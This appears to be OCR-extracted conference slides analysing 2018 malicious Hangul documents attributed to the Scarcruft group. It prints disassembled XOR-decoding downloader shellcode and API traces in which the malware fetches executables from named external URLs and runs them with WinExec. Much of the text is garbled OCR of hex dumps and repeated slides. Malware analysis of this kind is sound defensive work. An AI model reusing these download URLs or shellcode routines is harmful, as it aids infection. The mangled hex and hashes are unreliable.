01021120 | 7d 2a 2a 2a 85 85 bd dl d4 d5 d5 bd e6 1f 5f 8e | }***.......... .

01021200 | 2a 00 85 Se al £1 dl dé 25 12 d3 b4 ac b9 b6 12 | *.. 4. ... %.......

01021210 | 93 dl fb b0 ad B0 12 93 dd dS d5 d5 d5 32 c& 52 | eeeeennnnnnn. > A

01021220 | 99 £1 dd Se 9 £1 84 3d 53 2a 2a 2a 3d 45 2a 2a | ...~...=G%ce=Erx

010212320 | 2a 3d 4f 2a 2a 2a 56 11 db 16 3d 35 2a 2a 2a bd | *=o**+y, . =544+,

General 01021240 | al al a5 =f fa fa b8 £b a6 a6 b7 a2 £b b6 ba £b | b eeunneennnn.
Type Stream 01021250 | be a7 fa b4 bl b3 be bb fa b3 ba a7 b8 8a bl ba | e eeunneennn..
\ame SINOOT OLE 01021260 | b6 fa be bB b4 b2 b0 fa bl ba a2 bb £a a2 ba a7 | ceeeeeunneennnn.
: - 01021270 | b9 bl bb b0 a2 a6 £fb bl ba bE dS d5 €C €C CC CC | uuneemnneennnn.
size 62560 01021280 | «7 0d 00 34 00 00 00 43 00 3a 00 5c 00 55 00 73 | ...4...C.:.\.U.s
Check sums 01021290 | 00 &5 00 72 00 73 00 Sc 00 48 00 4% 00 47 00 48 | .e.r.=s.\.H.I.G.H
MD5 83974ca7a657ebbg (010212a0 | 00 45 00 58 00 7= 00 31 00 S5c 00 41 00 70 00 70 | .E.X.~.1.\.A.p.p
SHAT a6e57a14173371535 010212b0 | 00 44 00 €1 00 74 00 61 00 S5c 00 4c 00 6£ 00 €3 | .D.a.t.a.\.L.o.c 3/1 33

010212c0 | 00 61 00 €c 00 Sc 00 54 00 65 00 6d 00 70 00 5c | .a.l.\.T.c.m.p.\




E3
ae
D7
D8
8C
85
24
1F
F1
FA
BA

Recent Trends (2018.08)

= New Type of H-OLE-S - Scarcruft

= Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5),
E

ae
a8
aD
De
8F
B84
ae
5F
DD
B&
a2

2a
2e
58
2D
84
86
16
8E
S5E
FB
BB

a3e
29
15
3E
2A
B85
88
2A
Co9
fufss
FA

a
an
o1
21
35
BD
BD
ae
F1
it
a2

7B
SD
EE
8D
E3
BA
85
84
B7
BA

D5
De
A8
8F
CF
BE
SE
3D
A2
a7

But O

D5
17
F1
5E
F&
B LY
A1
53
FB
B9

22
D5
85
A
c7
AS
D5
F1
2A
Be
Bl

8B
BS
5E
36
3E
24
BD
D1
28
BA
BE

86
SE
ap
8D
74
515
AB
D6
24
FB
B@

3D
39
cD
SE
BF
16
L
25
3D
BE
A2

cC
E&
5E
8D
95
BF
B9
12
45
iy
A5

CC
a7
8D
F1
ED
D5
B8
D3
2A
FA
FB

CcC
Bl
F5
De
D5
5E
81
B4
20
B4
Bl

cC
SE
D6
2F
cS
99
BD
AC
24
Bl
BA

74
87
aF
B3
D5
F1
SB
B9
3D
B&
B&

15
ES
36
SE
D5
c1
9B
B6
AF
BC
D5

84
SE
EF
D9
ED
B84
DB
12
24
EB
D5

96
87
9C
9E
D5
BD
39
93
2A
FA
cC

8B
D9
5E
5E
D1
4D
24
D1
24
B3
cC

FE
SE
El
&b
05
2B
515
FB
56
BA
cC

34

D5

87
5E
co
D5
5F
3D
Ba
11
o7
cC

C1
D&
D&
EF
Db
7D
AD
DB
E3

88
5E
27
ar
D5
2A
20
B&
16
84

a7
oy
E&
5E
BD
5%
24
12
3D
Bl

A6
FD
24
D1
81
16
24
93
35
BA

EB
87
Eb
5E
1F
BF
85
DD
24
Boe

EC
SE
15
D6
7A
DS
85
DS
20
FA

98
87
79
17
s
BF
BD
D5
28
BC

8B
C5
51
5C
24
24
D1
D5
BD
B&

FE
SE
15
91
ae
BD
D4
D5
Al
B4

28
ES
D2
F5
E6
6C
D5
CE
AS
E&

o7
SE
14
8F
15
60
BD
SE
EF
FA
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E3
ae
D7
D8
8C
85
24
1F
F1
FA
BA

Recent Trends (2018.08)

= New Type of H-OLE-S - Scarcruft
= Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5),

ae
a8
aD
De
8F
B84
ae
5F
DD
B&
a2

2a
2e
58
2D
84
86
16
8E
S5E
FB
BB

a
an
o1
21
35
BD
BD
ae
F1
it
a2

But O

22
78 D5 D5 D5
SD De 17 85
EE A8 F1 A8
8D 8F 5E C7
E3 CF FA AS

E

8B
BS
5E
36
3E
24

86
SE
ap
8D
74
515

3D
39
cD
SE
BF
16

cC
E&
5E
8D
95
BF

BA geppepoee E30RRRE000

85 ppoepoees

84 ppeeReR6 83C622

SE

B/ peoeooes 8BEG
BA peReERRB 3DCCCCCCCC

eEERPO18 7415
806
@EEePO14 8BEE

Be008a1e6 | 3405

Beeeaals 8367

geeeeal12

aeaaaalh

46

Be00881E EBEC

BRABEBEID

QA

CC
a7
8D
F1
ED
D5

CcC
Bl
F5
De
D5
5E

cC
SE
D6
2F
cS
99

74
87
aF
B3
D5
F1

15
ES
36
5E
D5
Cl

84
SE
EF
D9
ED
B84

86
87
ac
9E
D5
BD

CALL eBgeaeas

8B
D9
5E
5E
D1
4D

FE
SE
El
&b
05
2B

POP ESI

ADD EST, 02288822

34

D5

87
5E
co
D5
5F

C1
D&
D&
EF
Db

88
5E
27
ar
D5
2A

a7
oy
E&
5E
BD
5%

A6
FD
24
D1
81
16

EB
87
Eb
5E
1F
BF

MOV EAX,DWORD PTR [ESI]

CMP EAX,CCCCCCCC

JE 00000027
MOV AL,BYTE PTR [ESI]
MOV EDI,ESI

XOR AL,DS

MOV BYTE PTR [EDI],AL
INC
IMP
NOP

EST

2e8ea1e9

EC 9@
S5E 87
15 79
De 17
7A 44
DS BF

8B
C5
51
5C
24
24
D1
D5
BD

FE
SE
15
91
ae
BD
D4
D5
Al
B4

ES
D2
F5
E6
6C
D5
CE
AS
E&

a7
SE
14
aF
15
(1%
BD
SE
EF
FA
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E3
ae
D7
D8
8C
85
24
1F
F1
FA
BA

Recent Trends (2018.08)

= New Type of H-OLE-S - Scarcruft
= Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5),

51%
51%
aD
D&
8F
B84
515
5F
DD
B&
a2

2a
2e
58
2D
84
86
16
8E
S5E
FB
BB

a3e

15
3E
2A
BS
858
2A
Co9
fufss
FA

a
an
o1
21
35
BD
BD
ae
F1
it
a2

4010ef

4010b1

401102
4010c0

7B
SD
EE
8D
E3
BA
85
84
B7
BA

LoadL ibraryACur Imon)

D5
De
A8
BF
CF
BE
SE
3D
A2
a7

DS
17
F1
5E
FA
D5
Al
53
FB
B9

But OLE

D5
BS
A
c7
AS
D5
F1
2A
Be
Bl

B
BS
5E
36
3E
24
BD
D1
28
BA
BE

86
SE
ap
8D
74
515
AB
D6
24
FB
B@

3D

cD
SE
BF
16
L
25
3D
BE
A2

cC
Eb
5E
8D
95
BF
B9
12
45
iy
it

CC
a7
8D
F1
ED
D5
B8
D3
2A
FA
FB

CC
Bl
F5
D&
D5
5E
81
B4
20
B4
Bl

CcC
SE
D6
2F
C5
99
BD
AC
24
Bl
B4

74
B7
aF
B3
D5
F1
SB

3D
B&
B&

Virtual Al loc(base=0 , sz=400) = 600000
GetTempPathA{len=104, buf=600000) = 1f
URLDown | oadToF i leAChttp://m.ssbw.co.kr/admin/form_doc/image/down/wor | dnews.doc, C:#UsersHptH!

ppData¥local#Tempfay | c.exe)

4010cf

15
ES
36
SE
D5
c1
9B
B6
AF
BC
D5

84
S5E
EF
D9
ED
B84
DB
12
24
EB
D5

86
87
=18
SE
D5
BD
39
93
28
FA
CC

WinExec(C:#Users¥ptWAppData¥lLocal #TempWay | c.exe)
4010db TerminateProcess() = 1

8B
D9
5E
5E
D1
4D
24
D1
24
B3
cC

FE
SE
El
8D
05
2B
515
FB
56
BA
CC

34

D5

87
5E
ca
D5
5F
3D
Ba
11
o7
CcC

C1
D&
D&
EF
Db
7D
AD
DB
E3

88
5E
27
ar
D5
2A
20
Ba
16
84

a7
oy
EG
5E
BD
5%
24
12
3D
Bl

A6
FD
24
D1
81
16
24
93
35
BA

EB
87
Eb
5E
1F
BF
85
DD
24
Boe

EC
S5E
15
D&
7h
D5
85
D5
24
FA

1%
B7
79
17
s
BF
BD
D5
28
BC

8B
C5
51
5C
24
24
D1
D5
BD
B&

FE
S5E
15

ae
BD
D4
D5
Al
B4

iy
97
Al
F1
16
56
D5
3E
Al
B2

28
ES
D2
F5
E6
6T
D5
CE
AS
E&

a7
SE
14
BF
15
1%
BD
SE
EF
FA

e
91
1A
B4
85
AD
EG
99
FA
B1



Recent Trends (2018.08) Vi

= New Type of H-OLE-S - Scarcruft

= Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5),
But OLE

= VT ITW First Submission : Same Title, Author, Date

= 2017-09-12 06:23:55
f0c3269a68136c9349f82c479822943dd37babaf36ae93e22832e5b1a83e1f09

= 2018-03-07 07:55:29
cd1496d2dc2e27ac4fde9c98646ed0ac5049eada5e0c652e73465a84f1faee06

= 2018-08-14 03:10:36
8bb3d97a37a6¢7612624a12f8ff60eb8dd130fe8f9af4faf2cf8fcadf1dd964

SHAZ5E PIDSLTITLE AF:.:?:(')_R LASF':'I::':'T-IOR FIDSL REVNUMGER CREF;{::}DTM LASTZE\?IE-_DTM
f0c3269a68136c9349f82c479822943dd37babaf36ae93e22832e5b1a83e1f09 | form HighExpert | HighExpert 3\”?\1 ég:jvzm dows Unkiiown_ Version 521078-007 6-30 ?21 12_&77_30
cd1496d2dc2e27ac4fde9c98646ed0ac5049eada5e0c652e73465a84f1faee06 | form HighExpert | HighExpert a'”i’, 382’ L1 ;::n kv Uitk I Vorsio 53107;007 ‘;30 23127;1:;0
8bb3d97a37a6c7612624a12f8ff60eb8dd130f9e8f9af4f4f2cf8fcadf1dd964 form HighExpert | HighExpert ;’”i’, 382’ : ;:/sln Stows inkiown Version 52107 ;)07 6-30 ‘2)31277-1:;10




Recent Trends (2018.09)

= (Before) Type of H-PS-S-2 — Scarcruft

= Downloader Shellcode - dual decoding routines

0262BBFF
0262BC04
0262BC05
0262BCOA
0262BC10
0262BC12
0262BC15
0262BC18
0262BC1A
0262BC1B
0262BC20

0262BC29
0262BC2A
0262BC2B
0262BC2E

E8 00000000
5E

B9 36149C00
81E9 08149C00
03F1

83C6 02
3E:BA06

34 90

46

B9 /7E189C00
81E9 39149C00

T 0262BC04
POP ESI

MOV ECX,9C1436
SUB ECX,9C1408
ADD ESI,ECX
ADD ESI,?

MOV AL,BYTE PTR DS:[ESI]
XOR AL,90

INC ESI

MOV ECX,9C187E
SUB ECX,9C1439

3E:3006
46

49

83F9 00
/5 F6

XOR BYTE PTR DS:[ESI],AL
INC ESI
DEC ECX
(MP ECX,0
JIZ SHORT ©262BC26

De-coding Routine

0262BC30
0262BC32
0262BC33

EB @3
%90
90

JMP SHORT ©262BC35
NOP
NOP

02620059 | B8BDE MOV EBX, ESI
02620058 | 51 PUSH ECX
3E: 3006 XOR BYTE PTR DS:[ESI],AL
0262C05F | 49 DEC ECX
02620060 | 46 INC ESI | _
02620061 | 83F9 00 MP ECx,p |ecodingRoutine
02620064 |~ 75 F6 INZ SHORT 0262C05C
02620066 | 36:8B75 FC MOV ESI,
0262C06A | 53 PUSH EBX
0262C068 | E8 STFFFFFF @ 0262BFC7
02620070 | 83C4 24 ADD ESP,24
02620073 | 330 XOR EAX, EAX
02620075 | 5B POP EBX
02620076 | C9 LEAVE
02620077 | (3 RETN
02620078 | 90 NOP
0262C079 | 90 NOP

0262C07A

867D 15

XCHG ,BH



Recent Trends (2018.09)

= Again! Type of H-PS-S-2 — Scarcruft

= Downloader Shellcode - dual decoding routines

E8 00 00 00 00 call a283a4 bin0001.eps.sc.40100F 8B DE mov ebx,esi

5E pop esi 51 push ecx

B9 34 14 E2 00 mov ecx,E21434 30 06 Xor byte ptr ds:[esi],al

81 E9 08 14 E2 00 |sub ecx,E21408 49 dec ecx

03 F1 add esi,ecx 46 inc esi

83 (6 02 add esi,? 83 F9 00 cmp ecx,0

8A 06 mov al,byte ptr ds:[esi] ~ 75 F7 jne a283a4 bin00d1.eps.sc.4014B4
34 99 xor al,90 88 /5 FC MOV es1,dword pir 55:Lebp 4]

46 inc esi 53 push ebx

B9 CB 18 E2 00 mov ecx,E218CB E8 5E FF FF FF call a283a4 bin000l.eps.sc.401424
81 E9 39 14 E2 00 |sub ecx,E21439 83 (4 24 add esp, 24

B0 06 XOr byte ptr ds:lesil,al 33 (0 XOr eax,eax

16 inc esi 5B pop ebx

49 dec ecx 9 leave

B3 F9 00 cmp ecx,0 C3 ret

75 F7 ine aZB?a4_bin@@@1.eps.sc.4@1@§§l 90 nop

EB 03 Jmp a283a4 bin@0dl.eps.sc.40103E 90 nop

90 nop 88 54 1B FO mov byte ptr ds:[ebx+ebx-10],dl
90 nop 18 18 sbb byte ptr ds:[eax],bl

77 OE ja a283a4 bin@0d1l.eps.sc.40104D 18 18 sbb byte ptr ds:[eax],bl

DD E3 fucom st(0),st(3) 46 inc esi

E7 E7 out E7,eax Al A3 QA 58 18 mov eax,dword ptr ds:[18580AA3]




= (Before) Type of H-PS-S-2 — Scarcruft

= Downloader Shellcode - dual decoding routines

401708 VirtualAl loc{base=0 , sz=800000) = 600000

4015¢cd LoadLibraryA{wininet.dl|)

401640 I[nternetOpenA()

40164e GetTickCount() = 29

401654 Sleep(0xa)

401669 InternetOpenUr|A(http://houseforrentvn.com/files/uploaddata. jpg

)

40167¢ GetTickCount{) = 4823

4016c4 InternetReadFile(1, buf: 12f974, size: 400)

4016d4 InternetCloseHandle(1) = 1

4016dc InternetCloseHandle{(1) = 1

4015¢cd LoadLibraryA{wininet.dl|)
1
1
1
1

401640 InternetOpenA()

40164e GetTickCount() = 18be

401654 Sleep(0xa)

401669 I[nternetOpenUr|A(http://houseforrentvn.com/files/uploaddata. jpg



Recent Trends (2018.09)

= Again! Type of H-PS-S-2 - Scarcruft

40171f
401602
40166e
40167a
40167f
401692
4016a2

40160
4016ee
40164
401602
40166e
40167a
40167f
401692

= Downloader Shellcode - dual decoding routines

VirtualAlloc(base=0 , sz=800000) = 600000

LoadLibraryA(wininet.dll)

InternetOpenA()

GetTickCount() = 29

Sleep(0xa)
InternetOpenUrlA(http://rentcartoday.com/home/skin_member/mem_standard/1lib/upload/down.php)
GetTickCount() = 4823

InternetReadFile(1, buf: 12f974, size: 400)

InternetCloseHandle(1) =1

InternetCloseHandle(1) = 1

LoadLibraryA(wininet.dll)

InternetOpenA()

GetTickCount() = 18be

Sleep(0xa)
InternetOpenUrlA(http://rentcartoday.com/home/skin_member/mem_standard/lib/upload/down.php)
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Recent Trends (2018.10)

= Again! New Type of H-OLE-S - Scarcruft
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Recent Trends (2018.10)

= Again! New Type of H-OLE-S - Scarcruft

=-f~) Root Entry

5.f7) BinData
-{Z] BINOOO1.OLE
--{=] BINODO2.OLE
-[=| BINODO3.OLE
5.F7) BodyText
-[=] Section0
|| Sectionl
_.f_, DocOptions
..... ..[=] _LinkDoc
_.f_, Scripts
..... ..[-| Default/Script
..... -.[] Iscriptversion

D Coclnfo
-.|=| FileHeader
-[=] Prvimage
~{Z] PrvText

B | (@

B General

Type
Mame

Stream
Size 161572
B Check sums
MDS
SHA1L

~[=] |HwpSummaryInformation

BINCOO1.CLE

a71ffb6569e1ada7:
896080e0048b97018

Hex

01003kbal
01003bb0
01003kbc0
01003kbd0
01003bel
01003b£0
0100300
0100310
0100320
0100330
01003c40
0100350
01003cel
0100370
01003=80
01003=50
01003cal
01003ck0
01003ccO
01003c=d0
01003cel
01003c£0
01003400
01003410
01003420
01003430
01003440
01003450
01003de0
01003470

Hex (Decompress)

a7
a7
o7
ae
fe
oo
a5
=)=
8d
s
26
ae
8d
ds
g4
cl
bc
ba
bd
dl
1z
g4
56
a7
b
b0
b6
c7
o0
o0

04
04
D4
83
34
(a]0]
Se
Se
£5
51
8d
dl
Bf
d5s
B
B4
a0
81
dl
de
93
3d
11
ed
al
ab
bS
o4
43
T

c’
o’
o7
cb
ds
25
87
91
di
15
Se
28
Se
bf
85
bd
ad
bd
d4
23
dd
53
db
=4
fa
fa
b0
c7
00
0o

04
04
o4
22
ga
3d
ds
d7
of
al
ad
de
c7
d5
bd
4d
2a
Sb
ds
12
d5
2a
16
fb
bl
b2
ac
04
3a
48

c’
a7
a7
Bb
o7
Tb
Se
ad
36
dz2
f1
17
3e
bd
a3
2b
(8] 0]
Sk
dsS
d3
ds
Z2a
3d
a7
b4

=8
c7
oo
oo

04
D4
D4
06
46
ds
87
50
ef
14
de
S Tad
T4
81
cft
5f
16

bd
ab
ds
Z2a
35
=
al
b4
ed
04
Sc
45

c’
a7
a7
3d
eb
d5s
cl
15
Sc
la
Of
91
bf
1f
fa

88
39
=1
al
d5s
3d
2a
ed
b4
bS
ds
c7
oo
oo

c’
c
a7
cc
30
b5
a7
S9d
el
di
Se
£3
bd
44
2a
oo
ba
oo
of
b6
ce
2a
2a
ed
bc
as
cc
c7
oo
o0

04
04
D4
cc
Bb
Se
fd
di
Se
2d
ds
Bf
ds
Z2a
(a] 0]
16
b
3d
Be
1z
T
Z2a
bd
a7
b6
bd
cc
o4
T3
48

c’
a7
o7
cc
fe
39
87
17
dé

Se
b4
cS
oo
16
bf
d5
Td
2a
53
95
2a
al
el

as
cc
c7
o0
o0

04
04
=8
T4
aa
=1=]
Se
85
27
21
Se
Bec
d5s
16
bf
d5
d5

(a]i]
dl
f1
3d
al

bb
e8
cC
0d
63
45

a7
a7
00
15
88
o7
87
Se
=19
e
8d
Bf
ds
=12
ds
bf
bd

83

dd
af
as
a7

| %23
c7
oo
oo
oo

04
D4
o0
ga
a7
bl
ca
9d

afd
c3
g4
bd
15
Se
Za
a0

Se
b0
e
Z2a
ef
=13
b3

04
3f
T2
>4

c’
a7
o0
06
(a]0]
Se
Se
cd
ek
f1
di
2a
d5s
85
95
bd
a7l
85
al
ad
cS
2a
fa
e3

a7l
c7
oo
oo
oo

7 0 —=l....
G ™ e L
A-A--'\\ -------- *5
- o
....... ZD% .. ....
-------- *----A--
SR ' i w T
1 ™ e
R - e

-------- -*- -A--
I S -
....... b

Veus



E8
FE
FD
El
B3
BF
CF
00
D5
DD
11
B6

Recent Trends (2018.10)

= Again! New Type of H-OLE-S - Scarcruft

00
AA
87
5E
5E
95
FA
16
D5
D5
DB
Al

00
88
S5E
D6
D9
BD
A5
88
BD
D5
16
FA

= Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5),

00
07
87
27
OE
D5
2A
BD
E6
D5
3D
Bl

But OLE

00
00
C5
E6
5E
C5
00
BA
1F
D5
35
B4

5E
00
SE
2A
8D
D5
16
BB
5F
3E
2A
Al

83
00
97
E6
C9
D5
BF
D5
8E
CE
2A
B4

C6
00
E9
15
D6
BD
D5
D5
2A
5E
2A
FA

22
29
5E
79
OF
D5
5E
BD
00
99
BD
BC

8B
3D
91
51
5E
D1
212
AQ
85
F1
Al
B6

06
7B
D7
15
D1
D5
F1
A7
5E
DD
Al
BA

3D
D5
AD
Al
5E
D5
C1
B9
Al
5E
A5
BB

CC
D5
50
D2
D6
BF
84
B8
F1
c9
EF
FA

CC
D5
15
14
17
D5
BD
81
D1
F1
FA
B3

CC
B5
Al
1A
5C
BD
4D
BD
D6
84
FA
BC

CC
5E
9D
D8
91
81
2B
5B
25
3D
E7
B9

74
39
D6
D6
F1
1F
5F
9B
12
53
E4
BO

15
E6
17
2D
F5
7A
DB
DB
D3
2A
E4
Ab

8A
a7
85
3E
8F
44
2A
39
Ab
2A
FB
FA

06
Bl
S5E
21
B4
2A
00
2A
A3
2A
E7
B2

8B
5E
9D
EE
8C
00
16
00
A7
3D
E4
BA

FE
87
CD
A8
8F
16
BF
3D
B6
45
ED
B4

34
E5
SE
F1
84
E6
D5
7D
12
2A
FB
B9

D5
5E
8D
A0
2A
15
BF
2A
93
2A
E4
FB

88
87
F5
36
35
85
2A
2A
D1
2A
E7
A5

07
D9
D6
8D
8D
85
BD
2A
FB
3D
E3
BD

46
5E
OF
S5E
8F
84
56
85
BO
4F
FB
A5

EB
87
36
8D
5E
86
6C
85
AD
2A
E7
EA

EC
C1
EF
F1
C7
85
60
BD
BO
2A
E6
B8

90
5E
9C
D6
3E
BD
AD
D1
12
2A
E3
BC
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E8
FE
FD
El
B3
BF
CF
00
D5
DD
11
B6

Recent Trends (2018.10)

= Again! New Type of H-OLE-S - Scarcruft

ES800000000 CALL 00000005
m 5E POP ESI D5),

83C622 ADD ESI, 00000022

8B06 MOV EAX,DWORD PTR [ESI]
00 00 0 3DCCCCCCCC CMP EAX,CCCCCCCC B EC 90 8B
AA 88 B 7415 JE 00000027 7 C1 5E A7
87 5E 8 5r06 MOV AL,BYTE PTR [ESI] o EF 9C SE
5E D6 2 D F1 D6 OF
s Do o SBFE MOV EDI,ESI £ C7 3E 74
95 Bp D 34D5 XOR _AL,D5 6 85 BD E3
FA A5 2,8807 MOV BYTE PTR [EDI],AL C 60 AD 2A
16 88 Bl 46 INC ESI 5 BD D1 D4
D5 BD E'EBEC JMP 00000109 D B@ 12 93
% e n L
a1 a5 BBFE MOV EDI,ESI A B8 BC A7

AA STOS BYTE PTR [EDI],AL

8807 MOV BYTE PTR [EDI],AL

0000 ADD BYTE PTR [EAX],AL

0000 ADD BYTE PTR [EAX],AL 5/133

293D7BD5D5D5 SUB DWORD PTR [D5D5D5A8],EDI



Recent Trends (2018.10)

= Again! New Type of H-OLE-S - Scarcruft

= Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5),
But OLE

A4010ee  LoadLibraryA{ur Imon)
A010b0  Virtual Al loc(base=0 , sz=400) = 600000
401101  GetTempPathA(len=104, buf=600000) = 1f

A010bf URLDownloadToF i leAlhttp://211.218.126.236/ct/data/icon/files/goal .phpTmiracles=1,
WAppDataWLoca|¥TempWsvrc.exe)

A010ce  WinExec{C:¥UsersWptWAppData¥lLocalWTenpWsvrc.exe)

A010da TerminateProcess() = 1
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Recent Trends (2018.08) Vi

= New Type of H-OLE-S - Scarcruft

= Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5),
But OLE

= VT ITW First Submission : Same Title, Author, Date

= 2017-09-12 06:23:55
f0c3269a68136c9349f82c479822943dd37babaf36ae93e22832e5b1a83e1f09

= 2018-03-07 07:55:29
cd1496d2dc2e27ac4fde9c98646ed0ac5049eada5e0c652e73465a84f1faee06

= 2018-08-14 03:10:36
8bb3d97a37a6¢7612624a12f8ff60eb8dd130fe8f9af4faf2cf8fcadf1dd964

SHAZ5E PIDSLTITLE AF:.:?:(')_R LASF':'I::':'T-IOR FIDSL REVNUMGER CREF;{::}DTM LASTZE\?IE-_DTM
f0c3269a68136c9349f82c479822943dd37babaf36ae93e22832e5b1a83e1f09 | form HighExpert | HighExpert 3\”?\1 ég:jvzm dows Unkiiown_ Version 521078-007 6-30 ?21 12_&77_30
cd1496d2dc2e27ac4fde9c98646ed0ac5049eada5e0c652e73465a84f1faee06 | form HighExpert | HighExpert a'”i’, 382’ L1 ;::n kv Uitk I Vorsio 53107;007 ‘;30 23127;1:;0
8bb3d97a37a6c7612624a12f8ff60eb8dd130f9e8f9af4f4f2cf8fcadf1dd964 form HighExpert | HighExpert ;’”i’, 382’ : ;:/sln Stows inkiown Version 52107 ;)07 6-30 ‘2)31277-1:;10




Recent Trends (2018.10)

= Again! New Type of H-OLE-S - Scarcruft
» Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5),

But OLE

= VT ITW First Submission : Same Title, Author, Date
= 2017-09-12 06:23:55

f0c3269a268136c9349f82c479822943dd37babaf36ae93e22832e5b1a83e1f09

= 2018-03-07 07:55:29

cd1496d2dc2e27ac4fde9¢c98646ed0ac5049eada5e0c652e73465a84f1faee06

= 2018-08-14 03:10:36
8bb3d97a37a6c7612624a12f8ff60eb8dd130f9e8f9afaf4f2cf8fcadf1dd964

= 2018-10-01 00:49:53
74bf82f2faa1fce36a8f3509b20ff30aa055911cf78eac51181644d2beb10b33

SHA256 =

f0c3269a68136c9349f82c479822943dd37babaf36ae93e22832e5b1a83e1f09
cd1496d2dc2e27ac4fde9c98646ed0ac5049eadabe0c652e73465a8411faee06
8bb3d97a37a6¢7612624a12f8ff60eb8dd130f9e8f9af4fAf2ci8fcadf1dd964
74bf82f2faa1fce36a8f3509b20ff30aa055911cf78eac51181644d2beb10b33

PIDSI_TITLE =

form
form
form
form

PIDSI_
AUTHOR

HighExpert
HighExpert
HighExpert
HighExpert

Y

PIDSI_

LASTAUTHOR -

HighExpert
HighExpert
HighExpert
HighExpert

PIDSI_
CREATE_DTM

2017-07-30 18:08:06
2017-07-30 18:08:06
2017-07-30 18:08:06
2017-07-30 18:08:06

PIDSI_

~ LASTSAVE DTM

2017-07-30 18:18:47
2017-10-10 01:27:23
2017-10-10 01:27:23
2018-06-03 05:59:35



Contents

= Conclusion
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Conclusion Vi

= Malicious Hangqul files

= Government and public institutions are using the
Latest Version

= However, General User?

Al egel
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Conclusion

= Malicious Hangqul files

= Government and public institutions are using the
Latest Version

= However, General User?

= For Threat Intelligence
= Start to weave
= Share Information

= Cooperate with
Relevant agency (ex: C2)




Q&A

Thank you A
Full Report : bit.ly/2LIRS7E

E — mail : jack2@fsec.or.kr
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